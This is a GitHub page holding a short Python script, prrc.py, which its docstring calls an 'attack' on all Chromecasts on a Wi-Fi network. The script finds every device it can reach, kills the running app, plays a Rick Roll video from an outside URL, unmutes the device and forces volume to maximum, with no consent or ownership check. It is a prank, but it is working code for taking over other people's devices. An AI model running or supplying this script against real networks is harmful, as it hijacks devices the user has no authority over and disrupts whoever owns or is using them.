-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathprrc.py
More file actions
73 lines (52 loc) · 1.85 KB
/
prrc.py
File metadata and controls
73 lines (52 loc) · 1.85 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# Pi Rick Roll Instigating Controller
# main.py
import pychromecast
import time
"""
This script will launch an attack on all publicly available Google Chromecasts on a Wi-Fi network
and will play the media selection of choice.
This code is based heavily on the blocking example code found at:
https://github.com/balloob/pychromecast/blob/master/examples/blocking.py
"""
MEDIA_LINK = 'http://cobelu.com/resources/Videos/rick_roll.mp4'
MEDIA_TYPE = 'video/mp4'
def main():
# Get a list of all public Chromecasts on the network
casts = pychromecast.get_chromecasts()
num = len(casts)
# In the event no devices were found, we should give up then
if num == 0:
print("No devices were found... :(")
exit()
# Otherwise, we'll start hitting everything we found
count = 0
while count < num:
# Count through each cast on the network
cast = casts[count]
mc = cast.media_controller
# Begin logging for debug
print(cast.device)
time.sleep(3)
print(cast.status)
print(cast.media_controller.status)
# Make sure they're watching our media
if mc.status.content_id != MEDIA_LINK:
if not cast.is_idle:
print("Killing current running task...")
cast.quit_app()
time.sleep(5)
cast.play_media(MEDIA_LINK, MEDIA_TYPE)
# Make sure the sound is on
if cast.status.volume_muted == True:
cast.set_volume_muted = False
# Make sure their sound is maxed
if cast.status.volume_level != 1:
cast.set_volume(1)
# Make sure they're still playing
mc.play()
# End of line cleanup before moving on to next target
print("--------------------")
time.sleep(1)
count += 1
if __name__ == "__main__":
main()